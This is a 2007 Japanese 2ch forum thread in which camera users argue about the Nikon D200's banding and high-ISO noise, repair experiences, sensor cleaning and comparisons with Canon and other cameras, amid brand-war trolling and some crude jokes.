572 ：名無CCDさん＠画素いっぱい：2007/01/09(火) 23:16:16 ID:ts0DbB9c0

>>571
まだカメラ買ってないのか？ｗ

573 ：名無CCDさん＠画素いっぱい：2007/01/09(火) 23:21:50 ID:17H63gp+0

>>572
> まだカメラ買って　　　　ないのか？ｗ
　　　　　　　　　　　もらえて

574 ：名無CCDさん＠画素いっぱい：2007/01/09(火) 23:24:15 ID:4kskx/Uj0

2097***だけどクロポチないよ。

575 ：名無CCDさん＠画素いっぱい：2007/01/09(火) 23:40:36 ID:9IDqc0JE0

>>572
>>573

D200に縞とか睫はでないよ！って反論できないところが悲しいところだねｗ　本当に悲惨ｗｗｗ

576 ：名無CCDさん＠画素いっぱい：2007/01/09(火) 23:50:36 ID:b96Bi+UG0

新しいロットのでもやっぱりでるの？

577 ：名無CCDさん＠画素いっぱい：2007/01/09(火) 23:50:50 ID:qSTz4E3a0

>>570
ﾈｰｼﾞｬﾏｲｶ!と思ったら、MB-D200の三脚穴ﾀﾞｯﾀ。。。

改めて外して見たがｵｲﾗのはﾅｯｼﾝｸﾞ!
ちなみに発売日当日に買った2003XXXの対策済み品な。
ここいらは比較的神経質なｵｲﾗでも気にならんﾚﾍﾞﾙ、ﾏｼﾞで。
（確かに睫毛は完全に取り切れていないが、絶対出るものじゃないし、
まず気にならない。いちいち、気にして撮ってなかんべ。）

578 ：名無CCDさん＠画素いっぱい：2007/01/10(水) 00:08:33 ID:z5eGEuUb0

>>565
取れにくかったので以前にシリコングリス使ったけど
効果なかったよ。

使っているうちにこれ以上締めると外れにくくなる
位置がわかるようになるけど
とりあえずネジが回らなくなるまで目一杯締めずに
半回転分くらい余裕をもたして止めるくらいにしている。

579 ：名無CCDさん＠画素いっぱい：2007/01/10(水) 00:09:15 ID:0yk1mgKU0

>>576
年が変わってから買った俺のには縞と睫がばっちり出たよ。
SCに連絡したらいやそうな声でしぶしぶ修理ってことになった。
証明する画像を持参で来いって本当にむかつくよ。
不良品作って売っといて、その上対応が悪くて本当に不愉快。

580 ：名無CCDさん＠画素いっぱい：2007/01/10(水) 00:09:49 ID:0yk1mgKU0

先日KDX、D40どっちを買おうかと思い悩んだ末D40を買った。
初めてのデジ一眼だったので本当にうれしくてしょうがなかった。
いろんなものをパシャパシャ撮ってるうちに出てくる画像にゴミが写り
込んでいるものがあった為にニコンの純正のクリーニングキットを使いながら
CCDの清掃をした。でもその後画像にくっきりとシミのようなものが付いて
いるのに気づきあわててSCに行った。CCD交換等で保障が利かずに結構な修理費だった。。。

最初からKDXにしとけばゴミ取りも付いているからこんなことにならなかったのにと本当に後悔しています。

581 ：名無CCDさん＠画素いっぱい：2007/01/10(水) 00:16:41 ID:B9YPGSo30

>>579-580
何が壊れるとそういうウソを垂れ流すようになるのかね？

582 ：名無CCDさん＠画素いっぱい：2007/01/10(水) 00:19:10 ID:9QDJ6kEO0

>>579
持って来いって言われるの？酷だね。
買おうと思ってたけどやめようかな…。

583 ：名無CCDさん＠画素いっぱい：2007/01/10(水) 00:38:38 ID:XQeU1EFn0

>>580
ざまあかんかん河童の屁w

584 ：名無CCDさん＠画素いっぱい：2007/01/10(水) 00:42:33 ID:AuySYCXv0

漏れ中古でＤ200買ったから保証付いてないのよね・・・。
ヌコンSCに「縞々直して」って頼んだらいくらボられるか、わかるﾔｼ居る？

585 ：名無CCDさん＠画素いっぱい：2007/01/10(水) 00:43:02 ID:vJhrVDaM0

>>580
クァンゲトデワンにはゴミ撮りしかついてないよ

586 ：名無CCDさん＠画素いっぱい：2007/01/10(水) 00:48:56 ID:libBsEth0

>>584
保証書無くてもなんとかなるんじゃないか？

つうか、それ以前に、縞が出ていて調整する必要が有るの？

587 ：名無CCDさん＠画素いっぱい：2007/01/10(水) 01:00:13 ID:pLMmuzhi0

>>579
梅田で俺も言われたことある

588 ：名無CCDさん＠画素いっぱい：2007/01/10(水) 01:02:54 ID:0yk1mgKU0

SCのマニュアルで何か問題があったときはCFSDは当社指定の物をお使いですか？やら
バッテリーは純正をお使いですか？ってあるんだよなぁｗ　A-DATA、ROWA使ってる奴はそれでチョンｗｗｗ

589 ：名無CCDさん＠画素いっぱい：2007/01/10(水) 01:03:52 ID:AuySYCXv0

>>縞が出ていて調整する必要が有るの？
？？？スマヌ。意味が理解できない。縞が出てるから調整してもらう必要があるんじゃまいか。

状況はこんなかんじ。
ttp://up2.viploader.net/upphp/src/vlphp3422.jpg

590 ：名無CCDさん＠画素いっぱい：2007/01/10(水) 01:05:26 ID:0yk1mgKU0

>>589
D2HのISO200の画像みたいだねｗ

591 ：名無CCDさん＠画素いっぱい：2007/01/10(水) 01:11:52 ID:9QDJ6kEO0

>>590
ISOいくつ？
ここまでの高感度で撮影する事って少ないけど、もう少し低感度でも少しでるの？
ストライプのズボンかと思ったw

592 ：名無CCDさん＠画素いっぱい：2007/01/10(水) 01:14:13 ID:libBsEth0

>>589
あ、いや、単に「縞が出ると心配だから」・・・って話かと思った。

とりあえずSCに相談したら、無料でやってくれる可能性が高いんじゃないか？
少なくとも、このスレに有償で調整してもらった人は居ないだろし。

593 ：591：2007/01/10(水) 01:16:12 ID:9QDJ6kEO0

アンカーミス。>>589でした。

年末にもう少しでD200買っちゃうところだったけど、なんか萎えたな。

594 ：名無CCDさん＠画素いっぱい：2007/01/10(水) 01:47:47 ID:5sSdiDFn0

等倍で観賞する事があるならそうかもね。

595 ：589：2007/01/10(水) 02:51:14 ID:AuySYCXv0

589の写真はISO800で撮った写真を増感してる。多分ISO1600相当くらい。

まったく手直ししてないISO200でこれでそ。
ttp://up2.viploader.net/upphp/src/vlphp3461.jpg

596 ：名無CCDさん＠画素いっぱい：2007/01/10(水) 03:01:57 ID:XPANTbpG0

最初からファームが2.00の209の俺は勝ち組
てか対策済みカメラなのかな？

597 ：名無CCDさん＠画素いっぱい：2007/01/10(水) 08:26:24 ID:9QDJ6kEO0

>>595
ISO200でこれならトイデジ以下？
修理の対象なんだろうけど、よくこんな欠陥品を世に送り出したもんだ…

598 ：名無CCDさん＠画素いっぱい：2007/01/10(水) 09:14:35 ID:rHK9WYwV0

初期ロットは、D200では縞で、20Dでは夜空の縞で、騒ぎになった。
何処の場合も初物買いには勇気がいる。

599 ：名無CCDさん＠画素いっぱい：2007/01/10(水) 12:01:20 ID:0yk1mgKU0

>>598
なるほど、、、D200の場合はいつでも縞がでていて、20Dは夜空でしかでないんだ・・・

やっぱりキヤノンデジっていいよね！ｗｗｗ

600 ：名無CCDさん＠画素いっぱい：2007/01/10(水) 12:30:17 ID:Gm5DBaDvO

俺はムラサキで20D買うのやめたけど
EFレンズも高く売れてよかったよ

601 ：名無CCDさん＠画素いっぱい：2007/01/10(水) 12:33:41 ID:duHYjDZW0

このスレ1年前と変わらんな。

602 ：名無CCDさん＠画素いっぱい：2007/01/10(水) 12:43:05 ID:7ObLTQ5oO

D200は高画素数、4チャンネル読み出しという禁じ手を使ったためにシマシマが出る。
根本的には完治不能。
その後ニコンがこの方式を一切出していないのが証拠。

603 ：名無CCDさん＠画素いっぱい：2007/01/10(水) 12:45:54 ID:r49Pw4TW0

>>602
D2xで縞が出ないのは何故だ？

604 ：名無CCDさん＠画素いっぱい：2007/01/10(水) 13:04:36 ID:0yk1mgKU0

>>603
CCDより高性能のCMOSつかってるからだろｗ

最新ロットは縞が出ないとか強弁してるあほがいるけど、睫は相変わらず出てるのはどうやって言い訳するの？

605 ：名無CCDさん＠画素いっぱい：2007/01/10(水) 13:22:31 ID:r49Pw4TW0

>>604
おまえ楽しい？それとも勝ったつもりかな

606 ：名無CCDさん＠画素いっぱい：2007/01/10(水) 13:34:04 ID:L2Hm8hNi0

604は楽しそうだし勝ってる

607 ：名無CCDさん＠画素いっぱい：2007/01/10(水) 13:39:03 ID:0i01lSyv0

だから1年前とは思えない糞設計d200は
作り直せとなんども言(ry

608 ：名無CCDさん＠画素いっぱい：2007/01/10(水) 20:47:19 ID:5tdXS2QP0

ねえ、ペンタのぺったん棒って、どこで売ってますか？
正式名も教えてエロイ非と。

609 ：名無CCDさん＠画素いっぱい：2007/01/10(水) 20:55:30 ID:Gm5DBaDvO

K100Dのカタログに書いてあったよ

610 ：名無CCDさん＠画素いっぱい：2007/01/10(水) 21:01:15 ID:WGbZ8Luv0

イメージセンサークリーニングキット　O-ICK1

611 ：名無CCDさん＠画素いっぱい：2007/01/10(水) 21:04:35 ID:5tdXS2QP0

>>610
ありがとん。

ぺたぺた棒とぜんぜん、ちゃう名前やないけ・・

612 ：名無CCDさん＠画素いっぱい：2007/01/10(水) 21:13:26 ID:5tdXS2QP0

O-ICK1　よさげだね・

これなら、取れないゴミ鳥メカなんて、執拗ない感じだな・
これで、大見え切って、レンズ交換、存分にできる気がするな・・
早速、買いに一個っと・・・

613 ：名無CCDさん＠画素いっぱい：2007/01/10(水) 22:14:53 ID:xIAf2RXe0

どなたかD200のAFセンサーの正確な配置やAF各モードの
アルゴリズムについて、詳細に解説しているサイトをご存知
ないですか？英語でもおｋですので。
あまりにも色んな設定がありすぎて、どれ使っていいのか
訳わからないｯｽ。

614 ：名無CCDさん＠画素いっぱい：2007/01/10(水) 22:40:53 ID:CsoBgcrU0

はっきり言って、前持ってたD70のほうが画質が良かった。
D70を下取りに出してD200を買った事を後悔しているorz

615 ：名無CCDさん＠画素いっぱい：2007/01/10(水) 23:06:21 ID:pnJhxzzT0

>>614
ﾊﾟﾝﾊﾟﾝﾊﾟｰﾝ
　　 ∧__∧　 ∩
　　（,,`･ω･´)彡☆
　　　⊂彡☆))Д´)
　　　　　　　☆

616 ：名無CCDさん＠画素いっぱい：2007/01/10(水) 23:11:10 ID:mYZUu6Xs0

>>614
なら戻したらいいじゃない。
ショップに中古として売ればD70買ってお釣りが出るよ。
できることしないでクダ巻いてるのは一番みっともないよ。

617 ：名無CCDさん＠画素いっぱい：2007/01/10(水) 23:20:05 ID:pnJhxzzT0

>>616
カタログなどよほど古い珍しいものでもない限り売りようがないじゃろうて。

618 ：名無CCDさん＠画素いっぱい：2007/01/10(水) 23:26:31 ID:mYZUu6Xs0

>>617
それもそうね。

619 ：名無CCDさん＠画素いっぱい：2007/01/11(木) 00:16:14 ID:pQ1Z/KzC0

と言うか、D70の中古なら今やちょっとしたアクセサリぐらいの価格で
買えるがな。

620 ：名無CCDさん＠画素いっぱい：2007/01/11(木) 01:22:31 ID:OzUabhwD0

50カット中のAFヒット率

KDX・◯10・△22・×18・◯率20%・◯+△率64%

30D・◯10・△23・×17・◯率20%・◯+△率66%

D80・◯9・△25・×16・◯率18%・◯+△率68%

D200・◯8・△25・×17・◯率16%・◯+△率66%

K100D・◯7・△28・×15・◯率14%・◯+△率70%

α100・◯7・△24・×19・◯率14%・◯+△率62%

E-330・◯8・△20・×22・◯率16%・◯+△率56%

DMC-L1・◯7・△25・×18・◯率14%・◯+△率64%

コンティニュアンスAFで測距点は固定。
ブランコの人の動きに合わせて測距点から外さないようにしながら連射で撮っている。
◯はピクセル等倍で見ても甘くないコマ
△は多少ピントは甘いが小サイズのプリントなら大丈夫そうなコマ
（特選街）

621 ：名無CCDさん＠画素いっぱい：2007/01/11(木) 01:23:25 ID:OzUabhwD0

http://digitalcamera.impress.co.jp/oshirase/P80.pdf

【総合順位】　（解像力、色彩の正確さ、ダイナミックレンジ、高感度ノイズの総合計点数より）

1位　キヤノン EOS-1D Mark II N

2位　キヤノン EOS-1Ds Mark II　　キヤノン EOS 5D　キヤノン EOS 30D　

5位 EOS Kiss Digital N

6位　ニコン D200　ニコン D2Xs

8位　ニコン D50

9位　フジフイルム FinePix S3 Pro

10位　オリンパス E-330　ソニー α100

12位　ペンタックス＊ist DS2

13位　ニコン D70s

14位　オリンパス E-500

15位　ペンタックス＊ist DL2　ニコン D2Hs

17位　オリンパス E-1

小山荘二　総合評価

622 ：名無CCDさん＠画素いっぱい：2007/01/11(木) 01:24:27 ID:OzUabhwD0

http://digitalcamera.impress.co.jp/oshirase/P80.pdf

【高感度ノイズ】

１位　キヤノン EOS 5D

２位　キヤノン EOS-1Ds Mark II

３位　キヤノン EOS-1D Mark II N キヤノン EOS 30D

５位　キヤノン EOS Kiss Digital N ソニー α100

６位　フジフイルム FinePix S3 Pro

７位　ペンタックス＊ist DS2　ペンタックス＊ist DL2

９位　ニコン D2Hs

１０位　ニコン D2Xs

１１位　オリンパス E-330

１２位　ニコン D200

～～～～～コンデジ境界線～～～～～～～～～～～～～

１３位　ソニー　α100

623 ：名無CCDさん＠画素いっぱい：2007/01/11(木) 01:31:52 ID:OzUabhwD0

http://digitalcamera.impress.co.jp/oshirase/P80.pdf

【ダイナミックレンジ】

１位　キヤノン EOS-1Ds Mark II

２位　キヤノン EOS-1D Mark II N

３位　キヤノン EOS 5D　キヤノン EOS 30D

５位　ニコン D50 ニコン D2Xs

７位　オリンパス E-330

８位　キヤノン EOS Kiss Digital N　ニコン D200

９位　フジフイルム FinePix S3 Pro　オリンパス E-330
　
～～～～～コンデジ境界線～～～～～～～～～～～～～

１３位　ソニー　α100

624 ：名無CCDさん＠画素いっぱい：2007/01/11(木) 02:17:26 ID:1oFt09ip0

EFレンズ刷新　　→【ニコ爺の当初の言い分】ニコンは永遠のFマウント　　→【現状】G化、DX、D40の発売で互換性ほとんどなし
超音波モーター　→【ニコ爺の当初の言い分】ボディ内モーターで十分　　　→【現状】なぜか超音波モーターの少ないペンタを罵倒
手ブレ補正　　　→【ニコ爺の当初の言い分】手ブレ補正など必要なし　　　→【現状】VRレンズ発売で妄信、VR18-200でなぜか得意気
デジック　　　　→【ニコ爺の当初の言い分】塗り絵画質は最低　　　　　　→【現状】D80D40と塗り絵全開爆発。なぜか許容ｗ　
高感度ノイズ　　→【ニコ爺の当初の言い分】ノイズがあるほうが立体的　　→【現状】D40における高感度ノイズの少なさをなぜか自慢
Kissの機能制限　→【ニコ爺の当初の言い分】ニコンは初級機も手を抜かない→【現状】D40でAF-S縛り機能制限して沈黙
Kissのグリップ　→【ニコ爺の当初の言い分】小さすぎて使い物にならん　　→【現状】D40が追随して沈黙

今後の予定
ゴミ除去機能　　→【ニコ爺の当初の言い分】目立たないから問題ない
フルサイズ　　　→【ニコ爺の当初の言い分】DXで十分。　　

625 ：名無CCDさん＠画素いっぱい：2007/01/11(木) 03:13:22 ID:YxRJEazn0

30Dのほうが使いやすい画質もいいし
てかD200肩に力はいってて疲れる
NIKONって機械屋なんだよね
カメラ屋ぢゃない

626 ：名無CCDさん＠画素いっぱい：2007/01/11(木) 04:06:42 ID:DOfchclR0

>>608-612
つ：ガムテープの粘着面を表にして丸めて棒にする

627 ：名無CCDさん＠画素いっぱい：2007/01/11(木) 06:27:46 ID:o4DHlETd0

>620-625
一年前のデジカメにまだｸﾞﾀﾞｸﾞﾀﾞ言ってるのかw

628 ：名無CCDさん＠画素いっぱい：2007/01/11(木) 08:40:54 ID:kD//4kLB0

定期的に同じネタをコピペするのって、
馬鹿か仕事かどちらかしかないだろうな。w

629 ：名無CCDさん＠画素いっぱい：2007/01/11(木) 08:47:56 ID:DOfchclR0

>>620-624なんかと>>625をいっしょにしないでくれよ

「たった」1年前のカメラの操作性とは思えないD200
D40でやっとカメラ屋に近づけたかな？

630 ：名無CCDさん＠画素いっぱい：2007/01/11(木) 09:06:28 ID:WVrkP+xZ0

>>629
D200の操作性よりD40の方が良い？？？
D40の方が初心者向けには成ってると思うけど...

操作性が劣るとあなたが思うところを具体的に聞かせておくれ

631 ：名無CCDさん＠画素いっぱい：2007/01/11(木) 09:17:50 ID:DOfchclR0

＞D200の操作性よりD40の方が良い？？？
どこにそんなことが書いてあるのか
二個爺には・・・

632 ：名無CCDさん＠画素いっぱい：2007/01/11(木) 09:45:14 ID:aEEkBxTT0

ID:DOfchclR0はニコ爺ではないかもしれんがバカだな。

633 ：名無CCDさん＠画素いっぱい：2007/01/11(木) 10:22:37 ID:yTAWU4DV0

確かにね。
友人の買ったD40は軽さには萌えたが
操作し辛かった。
ボタンの数が圧倒的に足りない。

634 ：名無CCDさん＠画素いっぱい：2007/01/11(木) 12:49:32 ID:65nA4sKo0

D200スレはどこですか

635 ：名無CCDさん＠画素いっぱい：2007/01/11(木) 15:20:32 ID:8UqO1TYf0

シーンモードでフルオート　＝　操作性良い
ってことじゃないのか？彼にとっては。

636 ：名無CCDさん＠画素いっぱい：2007/01/11(木) 15:37:52 ID:SP/8Wl0H0

シモンどモンフオールって読んでしまった

637 ：名無CCDさん＠画素いっぱい：2007/01/11(木) 15:56:29 ID:DOfchclR0

>>633は二個爺かもしれんし馬鹿でもあるな
てかここの住人はまず「人」を悪く言うね、気が付いてないだろよ
おれもそれには返しちゃうけどね。

おれはずっと前からカメラを評価してるんだけどな

638 ：名無CCDさん＠画素いっぱい：2007/01/11(木) 17:52:38 ID:yeWL8B+d0

>>637
君は他人とコミニュケーションが巧くとれないダメな人？
これだけの人数が君の話の要点把握できてないのに
説明しないってどうなん？
俺はカメラを評価してるよ。相対的にだが。
理解されたいなんて思ってないんじゃない？
それともただ皆が"バカ"だと思ってるのかい？
今は相対的に浮いてるのは明らかに君だよ。わかる？

639 ：名無CCDさん＠画素いっぱい：2007/01/11(木) 18:14:55 ID:Cfubhni60

皆様ごきげんおば？
はじめて書き込みさせていただきます。
私は今、初のデジイチ購入を考えておりまして
2つ候補がございまして、D200と30Dになります。
皆様の意見を聞きたく書込みした次第でございます。
実際両方を使用した方に意見を聞きたく思っております。
漠然すぎてアドバイス仕様が無いかと思いますが宜しくお願いします。
主に風景・女体を撮影したいと思っております。

失礼かと思いますが両意見が聞きたく思っておりますので
30Dのスレッドにも同質問させていただいております。

あらゆる角度からアドバイスいただけますとありがたき幸せでございます。

640 ：名無CCDさん＠画素いっぱい：2007/01/11(木) 18:24:37 ID:yeWL8B+d0

高感度が欲しいなら30D。
女体と来るからには不要ではないんじゃない？
低感度重視で風景メインならD200だと思う。
自然な解像感が好ましい。

641 ：名無CCDさん＠画素いっぱい：2007/01/11(木) 18:44:51 ID:strziVk90

先日VR105mmMicroを買いました。主に室内で小物や鉢植えの花を撮って楽しんでいます。
さすがにD200に付けると、相当デカくて重いですね。屋外でも使って行こうと思ってますが
待ち歩きには35mmF2Dを常用していて街並のスナップを楽しんでます。VR105mmお使いの方で
屋外でのオススメの使い方ってありますか？主目的は前述したように室内で小物を撮る為
ですが、屋外でも楽しめればこれ幸いです。投擲して距離を競う等以外、こんな撮影でも
使えちゃうよ、ってのがありましたら教えてください。とりあえず週末に散歩に持って出かける
予定です。

642 ：名無CCDさん＠画素いっぱい：2007/01/11(木) 19:11:39 ID:uuAQiOJu0

>>639
聞くまでも無いでしょ。
断然、高画質・高機能の30Dだよ。

643 ：名無CCDさん＠画素いっぱい：2007/01/11(木) 19:26:00 ID:8UqO1TYf0

>>639
室内でストロボ使って女撮るならd200だな。
インターバルタイマってのがあってさ。
羽目鳥に役に立つのよ。

644 ：名無CCDさん＠画素いっぱい：2007/01/11(木) 19:31:40 ID:a68mMyTq0

>>625
こういうのを見ると機械を評価するにはある程度以上の知能が必要だということが如実に分かるな。

645 ：名無CCDさん＠画素いっぱい：2007/01/11(木) 20:13:53 ID:7TCmUxIW0

>>643
あれ、無茶苦茶便利ですよね。
１分毎に３駒設定、AFは至近優先ダイナミック。
後はベッドに向けて机の上に置いとくだけで･･･
交尾で盛り上がってる最中にカシャッ･･･カシャッ･･･カシャッ･･････
激萌えｗ

646 ：名無CCDさん＠画素いっぱい：2007/01/11(木) 21:25:43 ID:4lGNIh6i0

>645
留守の間に、鳥かごの文鳥の交尾でも撮るのか。

647 ：名無CCDさん＠画素いっぱい：2007/01/11(木) 22:39:38 ID:DOfchclR0

>>638
＞今は相対的に浮いて
それが何？無関係だけど？

指摘した件について何もほとんど意見は無いね
それよか先に画像upしろだのそれを疑うだの
金が無いんだろとか
レンタル屋に返せとか
店頭で触っただけじゃわからんとか
画像upして満足だろとか
その他雑魚どもを黙らせて欲しかったし
所持していようがいまいが意見として聞いてないでそ

648 ：名無CCDさん＠画素いっぱい：2007/01/11(木) 22:53:02 ID:rloSixNE0

>>647
３列目をタテ読み？

649 ：名無CCDさん＠画素いっぱい：2007/01/11(木) 22:53:39 ID:yeWL8B+d0

>>647
あぁ、ここ2、3日は全部君かい。

>指摘した件について何もほとんど意見は無いね
そもそもスレ住人は問題と思ってない

>その他雑魚どもを黙らせて欲しかった
君が蒔いた種は君が刈り取れ。欲しかったってなんだ。

>それが何？無関係だけど？
だからどれほど自分にとって問題だったか伝わってないんだって。（つまり浮いてる）
それを無関係と言ってしまったら話が成り立たなかろ？
ただ自分に合わないだけか、意外とキビシイ問題なのかすらわからん。

650 ：名無CCDさん＠画素いっぱい：2007/01/11(木) 23:04:38 ID:5pdKozPp0

ねぇねぇ、このノイズの多さ、ファームで何とかならないの？
ファームで解決されるんなら、是非対応したファームを発表してほしいんだが。。。

651 ：名無CCDさん＠画素いっぱい：2007/01/11(木) 23:15:53 ID:c7dRFFYt0

物理的なノイズはファームとか言うレベルじゃねぇぞ。

652 ：名無CCDさん＠画素いっぱい：2007/01/11(木) 23:22:12 ID:DopzJ6aH0

D200はとても良いカメラだと思います。
しかし、高感度ノイズだけはいかんともしがたいですね。
体育館内で行う運動会とか広くて暗い場所だとSB-800でも綺麗に写らないし。
余程白い壁が近くにあってバウンスでもできればいいけど。
暗くて被写体まで距離も遠いし動きが速いからシャッター速度も必要な場合
高感度でそこそこ綺麗に写せるのが一番いいと感じるこの頃。
ファームアップで調整できるのなら是非おながいします、ニコソさん。

653 ：名無CCDさん＠画素いっぱい：2007/01/11(木) 23:27:30 ID:c7dRFFYt0

だから物理的なノイズはどうしようもないっつーのに。
ディテールが無くなってもいいならNRを強にすればいいだけのこと。

654 ：名無CCDさん＠画素いっぱい：2007/01/11(木) 23:31:17 ID:1GHXShenO

考えてみれば買って一年経つがISO400以上感度を上げたことは一度も無いんだよな。
高感度域のノイズレスって大きなアドハンテージにはならないような気がする。
カメラを選ぶ上で高感度ノイズって優先順位は下の方じゃないか？

655 ：名無CCDさん＠画素いっぱい：2007/01/11(木) 23:43:38 ID:DOfchclR0

>>649
まぁあんたが親分みたいな感じだけど
自分の見方ならスレ汚しを放置？
人を最初から悪くいうのはやめなよ、これから
勉強になったかい？

656 ：名無CCDさん＠画素いっぱい：2007/01/11(木) 23:46:16 ID:h2XLcE400

D80とD200行ったり来たり忙しいなぁｗｗ

657 ：名無CCDさん＠画素いっぱい：2007/01/12(金) 00:07:36 ID:4jRcDMJR0

やぁ！
向こうも見てくれてアリガト
30Dもよろしくな

658 ：名無CCDさん＠画素いっぱい：2007/01/12(金) 00:14:39 ID:YQHSCOup0

>>657
30Dのm2はいつ出るのかね？

659 ：名無CCDさん＠画素いっぱい：2007/01/12(金) 00:35:56 ID:1UnSdtZG0

>>655
何親分て。
誰も彼も自己責任だよ。
わざわざ示し合わせて一人を叩くことも無い。
皆それぞれの意思だよ。
甘えるな。

660 ：名無CCDさん＠画素いっぱい：2007/01/12(金) 00:41:11 ID:oc6OuWSn0

漏れはISO800や1600は常用する。
いつもD200で写真撮ってるとD200の画像が漏れの標準となってしまって、
ノイズ量も気にならなくなった。というか慣れてしまった。

それにD200の高感度が著しく劣ってるわけじゃなく、キヤノンＣＭＯＳの
高感度ノイズレスが強烈にずば抜けてるだけ。
ペンタ・ソニーと比べてD200が高ノイズとは思わないな。

ましてやデジタル部分なんて進化が早いんだから、そんな気にしても
どうかなとか思ったり。Ｄ300もＤ400も、未来永劫高感度ノイズ量が現状
のまま改善しない訳もないだろうし。

661 ：名無CCDさん＠画素いっぱい：2007/01/12(金) 00:57:34 ID:yeAwgCU70

>>660
なるほど、ニコンのデジカメはノイズを楽しめばいいわけですね！
その代わり安いし初心者しか使ってないから外に出す写真はあんまりないから問題ないということか。

662 ：名無CCDさん＠画素いっぱい：2007/01/12(金) 01:06:26 ID:YQHSCOup0

>>661
キヤノンのCMOSは低感度からチリチリしたカラーノイズを楽しめばいい？

663 ：名無CCDさん＠画素いっぱい：2007/01/12(金) 01:51:39 ID:XJN9Odzn0

A4位で出力するのが基本って使い方ならISO800のノイズなんて
殆ど気にならん。フィルムのISO800より余程イイ。RAW撮りなら尚更。
現状では機種(or メーカー)毎の画質の違いよりも、プリンタの
カラーマッチングを如何に突き詰められるかの方が良質なプリントを
得る為に遥かに重要だと考える。
カメラなんてどれでも自分が気に入ったのを使えば良い。

664 ：名無CCDさん＠画素いっぱい：2007/01/12(金) 03:14:54 ID:4jRcDMJR0

>>659
そうかな？お仲間に見えたよ。
いい連携プレーだったよｗｗ
でこれから悪く言うのはやめにするの？

665 ：名無CCDさん＠画素いっぱい：2007/01/12(金) 10:33:57 ID:gofiC8NV0

>>664
日本語通じてるかい？

>皆それぞれの意思だよ。
つまり君をいじった人の数そのまま
君を「何コイツ」と思った人の数だ。

俺に関して言えば、君が問題だと言った部分の
説明が無いなら、もう興味は無い。後はお好きにどうぞ。

666 ：名無CCDさん＠画素いっぱい：2007/01/12(金) 12:45:35 ID:LcDoBMHi0

もちつけ。

667 ：639：2007/01/12(金) 13:35:39 ID:7sJwyy+90

こんにちわ皆様。
色々とレスありがとうございます。
こちらのスレッドでも30Dを推薦してくださる方がおられたことが以外でした。
皆様の意見を参考にし、検討していきたいとおもっております。
ありがとうございました。

668 ：名無CCDさん＠画素いっぱい：2007/01/12(金) 15:43:15 ID:CvVUbSTH0

>>667
2ch初心者かな？

工作員も見分けられなかったのかｗ
どう見ても30Dを押してるのはキヤノネットと呼ばれるキヤノンの工作員だよ。

669 ：名無CCDさん＠画素いっぱい：2007/01/12(金) 16:51:25 ID:cHw/hPv60

>>668
質問者もキヤノネット。
質問→回答の流れで、ニコンスレでキヤノン製品を薦める展開。
30Dが売れてないので、テコ入れ中。

670 ：名無CCDさん＠画素いっぱい：2007/01/12(金) 17:19:37 ID:aweJtDn/0

D200に接眼目当て DK-19を装着したいのですが
どうしたらよいでしょうか？

お手数ですが、教えてください。

671 ：名無CCDさん＠画素いっぱい：2007/01/12(金) 18:23:55 ID:ZNXBfQIX0

>>670

http://www.knock.ne.jp/~moly/Photo/equip/DK-17M/#final

こんなんどう？
D200でもいけますが。

672 ：名無CCDさん＠画素いっぱい：2007/01/12(金) 22:08:37 ID:d5mHvGZj0

高感度ノイズについてマジで回答してあげよう。
ハーフサイズで、１２００万画素は無理がある。。

フルサイズをう゛ぇきだろ。

673 ：名無CCDさん＠画素いっぱい：2007/01/12(金) 22:09:33 ID:d5mHvGZj0

やっぱ、EOS　５Dが、現実的かもな。。。

674 ：名無CCDさん＠画素いっぱい：2007/01/12(金) 22:14:21 ID:ZNXBfQIX0

>フルサイズをう゛ぇきだろ。
どういう意味？日本語？
それから1000万画素ね、D200。
1200万はスレ違いだ。よろしくな。

675 ：名無CCDさん＠画素いっぱい：2007/01/12(金) 23:48:02 ID:u6Nw6TBv0

>>673
え？パワーショット5D？
要らないよ

676 ：名無CCDさん＠画素いっぱい：2007/01/13(土) 00:28:39 ID:r5XObUmb0

くれるなら遠慮せずもらうよ＞5D

677 ：名無CCDさん＠画素いっぱい：2007/01/13(土) 08:14:23 ID:/0KIorvs0

２ｃｈ閉鎖、で何処逝きましょうか。

678 ：670：2007/01/13(土) 11:54:48 ID:D9FR3Cou0

>>671
　　チャレンジしてみる。

679 ：名無CCDさん＠画素いっぱい：2007/01/13(土) 12:35:13 ID:Qg1B9HmZ0

>>677
やっぱり溜まり場は、ニコン-デジタル・ネットじゃない？

680 ：名無CCDさん＠画素いっぱい：2007/01/13(土) 13:35:41 ID:0OrzwIvL0

高感度が欲しいならＳ５proだよ。
ニッコール使うならね。

681 ：名無CCDさん＠画素いっぱい：2007/01/13(土) 17:38:13 ID:okux1uYL0

S5Proのどこが高感度なんだよ・・・。
ディテールを消しての感度アップならNeatimageでできるんだよ。

682 ：名無CCDさん＠画素いっぱい：2007/01/13(土) 18:30:58 ID:z8YJ6MTy0

681に賛成。　ハニカムとはいえ、600万は600万画素だよ。
その分高感度は多少いいというのは言えるかもしれないが、それ以上
でもそれ以下でもない。
Horizontal、Verticalの見かけ上の解像度は増えるかもしれないが、
画面全体の情報量は明らかに1000万画素クラスに劣るのは、サンプルを
見ればすぐわかる。　粉を吹いたような髪の毛、ごちゃっと固まる遠景
の木々。　S5PROがD200よりも高値、というのは、ちょっと？だね。

683 ：名無CCDさん＠画素いっぱい：2007/01/13(土) 21:42:50 ID:As2D7r7W0

ファインダーの視野率ってD2Xsなんかだと100%、対するD200やD80は95%ですよね
D2Xsはプロ機だからそれが正解なんだが、自宅で縁なし印刷をする事を考えてみると
視野率95%という数字は、結構良い数字なんじゃないかと考えるようになった

というのは、縁なし印刷だと画像の上下左右が僅かに削られるよね
と言うことは、95%の視野率って自宅印刷で削られないで印刷される領域に
少しは見え方が近いんじゃないかなって。

実際に印刷される領域に近い見え方という捉え方をすれば
95%と言う数字も、御自宅ハイアマチュア向けとしては結構良いのではないかと
うちのプリンターが古くて、削られ量が多いって言うのも有るのかもしれないが。

まぁD200クラスになるとプロも使ってるから、やはり100%が良いんでしょうね

スレを横にズラしてｽﾏｿ

684 ：名無CCDさん＠画素いっぱい：2007/01/13(土) 21:46:19 ID:RuqCUPNq0

そそ。初代ハニカムから使ってきたから分かるけど、ハニカムのどこが良いのかまったく理解できない。
なに、あのザラ絵。

なのでD200のノイズにもうんざりしている。orz

685 ：名無CCDさん＠画素いっぱい：2007/01/13(土) 22:23:48 ID:UYcU0+F90

>>684
ダメ？
http://dc-ita.dyndns.tv/~dc-ita/cgi-bin/imgboard/img-box/img20070113222245.jpg
D200 ISO1600

686 ：名無CCDさん＠画素いっぱい：2007/01/13(土) 22:27:41 ID:RuqCUPNq0

NRかけちゃ意味ねーだろ。

男なら１００で撮るんだよ！

